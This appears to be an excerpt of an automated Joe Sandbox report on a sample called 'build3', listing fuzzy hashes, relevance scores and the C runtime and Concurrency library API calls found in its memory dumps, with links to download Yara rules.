Instruction ID: 6f5a44e4fc2828295ed51955afd42531d876ab69914e542a95a62d94b20b5449
Opcode Fuzzy Hash: 16b5aacbcf2584fb5c5311ee95b6897fc5c8bc231394365cef52c8dc3aef3382
Instruction Fuzzy Hash: 10C1E5B16001289BDB28DF2CDC84B9DBB76EF55308F508198F90997292D7719AC4CFB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D65622 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b1a07df706cd11d87db2fd836d67a3ad5c6cc01d13b45052aa4e394a376723
Instruction ID: 950b8072b7d576c8fd16894edfa8d2f5a32f2aa36a8debb9aece3247bc5a6db8
Opcode Fuzzy Hash: 47b1a07df706cd11d87db2fd836d67a3ad5c6cc01d13b45052aa4e394a376723
Instruction Fuzzy Hash: 27C1CC70A04749AFDF15CFA8E880BADBBB0EF49324F184159E845AB396D7709981CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D479D2 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D479F4

Part of subcall function 00D45DA9: __EH_prolog3_catch.LIBCMT ref: 00D45DB0
Part of subcall function 00D45DA9: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D45DE9

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 00D47A02

Part of subcall function 00D46A0E: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00D46A33
Part of subcall function 00D46A0E: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00D46A56

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D47A1B
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00D47A27

Part of subcall function 00D45DA9: InterlockedPopEntrySList.KERNEL32(?), ref: 00D45E32
Part of subcall function 00D45DA9: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00D45E61
Part of subcall function 00D45DA9: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00D45E6F

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00D47A73
Concurrency::location::_Assign.LIBCMT ref: 00D47A94
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00D47A9C
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00D47AAE
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00D47ADE

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: 4c3f4647a4505f6253805f7e0ae94f746aadc58537385aa53a20a925ed51bfa0
Instruction ID: 5f5281dc5285e8fb785e0ea6fd5e5e5257856a1e76c28c48da5d6f7b902be9ed
Opcode Fuzzy Hash: 4c3f4647a4505f6253805f7e0ae94f746aadc58537385aa53a20a925ed51bfa0
Instruction Fuzzy Hash: 29310730F082556FCF16AB7844937FEB7B69F45300F0801A9D44AE7242EB254E4987B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D50A78 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D50A8E
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00D45D9F,?), ref: 00D50AA0
GetCurrentThread.KERNEL32 ref: 00D50AA8
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00D45D9F,?), ref: 00D50AB0
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,00D45D9F,?), ref: 00D50AC9
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00D50AEA

Part of subcall function 00D40302: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00D4031C

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00D45D9F,?), ref: 00D50AFC
GetLastError.KERNEL32(?,?,?,?,?,00D45D9F,?), ref: 00D50B27
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D50B3D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: c043cfefacbbf10470b6ce21c9b57f11b7e92ef3b1bc5c88409a8500d6e49530
Instruction ID: 79d5b6e6c49d9705bb7c8b308160aedf1b0044d44a8e78269f3c136662d2bd0c
Opcode Fuzzy Hash: c043cfefacbbf10470b6ce21c9b57f11b7e92ef3b1bc5c88409a8500d6e49530
Instruction Fuzzy Hash: 3011A275A40301EBCF10AF749C8AF9A3FA89F15346F584435FE49D6292EA7089088B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D5E9DF Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00D5EA09
_free.LIBCMT ref: 00D5EAE2
_free.LIBCMT ref: 00D5EB0F

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: d5289d28865e09b9b5a14d7b5fded09b6e306e5c3ebe209dd4ed807aac71d4c8
Instruction ID: 63224744246000ababa8130c3321a930dcde5479c8c24809a1f2c31ee6d24220
Opcode Fuzzy Hash: d5289d28865e09b9b5a14d7b5fded09b6e306e5c3ebe209dd4ed807aac71d4c8
Instruction Fuzzy Hash: E851D171904311AFDF28BF789881A6EBBB4EF05313F18416AED5197281EA71DB48CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D2EE10 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 00D2F2CD

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: mtx_do_lock
String ID: list too long
API String ID: 1389037287-1124181908
Opcode ID: cd2872a59b6f62bf6aad3701098376dae4cc664616daa9476fca805ac3fc94a5
Instruction ID: 4d1c2e471abd31e25f3a981b00f77a3ca144ba8d8aa48f67786b77b5df161f82
Opcode Fuzzy Hash: cd2872a59b6f62bf6aad3701098376dae4cc664616daa9476fca805ac3fc94a5
Instruction Fuzzy Hash: 1A61DEB0D043189BDB10DF64DD49BA9B7B8EF04314F0481A9E80DAB281E771EA80CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00D54930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D54967
___except_validate_context_record.LIBVCRUNTIME ref: 00D5496F
_ValidateLocalCookies.LIBCMT ref: 00D549F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D54A23
_ValidateLocalCookies.LIBCMT ref: 00D54A78

Strings

csm, xrefs: 00D54A0D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4fd0d8ab9b6ae044a7354b802fd524ee3cfea9a2c73bc79c95aaaf5e839a2727
Instruction ID: de1b8ca6047a30faf783f89aeecee1b958e05047ebb1fb339bf145100518cf82
Opcode Fuzzy Hash: 4fd0d8ab9b6ae044a7354b802fd524ee3cfea9a2c73bc79c95aaaf5e839a2727
Instruction Fuzzy Hash: 8C41A434A00248EFCF10DF68C881AAE7BA5EF45319F148159EC199B392D731D989CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D51C19 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00D51C32

Part of subcall function 00D51F01: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00D5197A), ref: 00D51F11

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00D51C47
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D51C56
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D51D1A

Strings

pContext, xrefs: 00D51D12
switchState, xrefs: 00D51C4E

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: pContext$switchState
API String ID: 1312548968-2660820399
Opcode ID: 6fd9d28b395e625aa7bae135f9b6a38df37503bf0f3ba3e5170e23a36fdae447
Instruction ID: 2d29d267aaababbdb4d23887e70b7203ac57bf70848fa226aa651a4073e2c91a
Opcode Fuzzy Hash: 6fd9d28b395e625aa7bae135f9b6a38df37503bf0f3ba3e5170e23a36fdae447
Instruction Fuzzy Hash: 73318F39A00214ABCF05EF64C886A7DB775EF54312F244565ED15A7281EB71EE098BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4E8A2 Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00D4E8CA

Part of subcall function 00D4E637: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00D4E66A
Part of subcall function 00D4E637: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00D4E68C

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D4E947
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00D4E953
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00D4E962
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00D4E96C
Concurrency::location::_Assign.LIBCMT ref: 00D4E9A0
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D4E9A8

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 9c13cfff36658e1414654cb310c045028546f86eb66a05512f9263d0b340c582
Instruction ID: 851eb0d04eeb149ec31202507418d970c1d5cba1a2dce2acd468a3e208200103
Opcode Fuzzy Hash: 9c13cfff36658e1414654cb310c045028546f86eb66a05512f9263d0b340c582
Instruction Fuzzy Hash: B7410875A00204EFCB15EF64C495AADBBB5FF48310F1884A9DD499B386DB70A941CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F02C Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D5EFF4: _free.LIBCMT ref: 00D5F019

_free.LIBCMT ref: 00D5F07A

Part of subcall function 00D5A7F5: HeapFree.KERNEL32(00000000,00000000,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?), ref: 00D5A80B
Part of subcall function 00D5A7F5: GetLastError.KERNEL32(?,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?,?), ref: 00D5A81D

_free.LIBCMT ref: 00D5F085
_free.LIBCMT ref: 00D5F090
_free.LIBCMT ref: 00D5F0E4
_free.LIBCMT ref: 00D5F0EF
_free.LIBCMT ref: 00D5F0FA
_free.LIBCMT ref: 00D5F105

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction ID: a9eaefad0db914113d1476501e3c19d59dad8898852505d6700bb2e8f03318c1
Opcode Fuzzy Hash: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction Fuzzy Hash: 4D113D71540B24AADD20B7B0CC87FCBF7ACDF44702F400915BEA966052EE65A64D87B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D37240 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

Part of subcall function 00D3C79C: mtx_do_lock.LIBCPMT ref: 00D3C7A4

__Mtx_unlock.LIBCPMT ref: 00D37311
std::_Rethrow_future_exception.LIBCPMT ref: 00D37362
std::_Rethrow_future_exception.LIBCPMT ref: 00D37372
__Mtx_unlock.LIBCPMT ref: 00D37415
__Mtx_unlock.LIBCPMT ref: 00D3751B
__Mtx_unlock.LIBCPMT ref: 00D37556

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$mtx_do_lock
String ID:
API String ID: 95294986-0
Opcode ID: 580e8deea0c599106f908eedcfaf545da00e4ee9260f568ebc7693bd7602347b
Instruction ID: 04147784a822e5825cb2d1c61d275bfbd528709257cc299b13ffc715e4e67547
Opcode Fuzzy Hash: 580e8deea0c599106f908eedcfaf545da00e4ee9260f568ebc7693bd7602347b
Instruction Fuzzy Hash: 87C1D2B1904B489FDB34DF64C845BAEBBF4EF05314F08456EE816A7642EB35A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FC10 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00D27710,00000000), ref: 00D5FC58
__fassign.LIBCMT ref: 00D5FE37
__fassign.LIBCMT ref: 00D5FE54
WriteFile.KERNEL32(?,00D27710,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D5FE9C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D5FEDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D5FF88

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 43358168134ec2e16b64ad6bb5d328f54a29a19021e16b02eff633fe1a6c32d9
Instruction ID: d85d6895bf4e980403672d7f4ec942540a8e9850f49668d6f022d11150b5ee15
Opcode Fuzzy Hash: 43358168134ec2e16b64ad6bb5d328f54a29a19021e16b02eff633fe1a6c32d9
Instruction Fuzzy Hash: 15D18D71D002589FCF15CFA8C9809EDBBB5EF49315F28016AEC55FB342E630A94ACB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D4E9D0 Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00D4EA11
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D4EA19
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D4EA43
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00D4EA4C
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00D4EACF
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00D4EAD7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: 6d9a40084c8c8773f431ec8f9a4403a73251e01d85ec65b4c62ee954ec504631
Instruction ID: aff1c64f342827254e568ddba2ccdc3a8c7e30b221ec9f206f2ddfcc801965ca
Opcode Fuzzy Hash: 6d9a40084c8c8773f431ec8f9a4403a73251e01d85ec65b4c62ee954ec504631
Instruction Fuzzy Hash: 2D417E75A00619EFCB09DF64D459A6DBBB6FF88310F048159E806AB391DB30AE01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4A119 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00D4A15C

Part of subcall function 00D4B653: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00D4B6A2

GetCurrentThread.KERNEL32 ref: 00D4A166
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00D4A172

Part of subcall function 00D40479: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00D4048B

Part of subcall function 00D40905: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 00D4090C

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 00D4A1B5

Part of subcall function 00D4B605: SetEvent.KERNEL32(?,?,00D4A1BA,00D4AF4E,00000000,?,00000000,00D4AF4E,00000004,00D4B5FA,?,00000000,?,?,00000000), ref: 00D4B649

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00D4A1BE

Part of subcall function 00D4AC34: List.LIBCONCRT ref: 00D4AC6A

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00D4A1CE

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: e8aee95f9aa7dfd50669836234555b34bf46c44665109f66682e2c82b692b41c
Instruction ID: 33b42d289ea9cebb355f059866667d9a9d15201091cfe069e5bd40a64c6b617f
Opcode Fuzzy Hash: e8aee95f9aa7dfd50669836234555b34bf46c44665109f66682e2c82b692b41c
Instruction Fuzzy Hash: 8921A931900B149FCB24EF69D9908ABF3F5FF48700B014A1EE94697661DB34E905CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D3EF4F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00D3EFAC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00D3EFB8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00D3EFD1
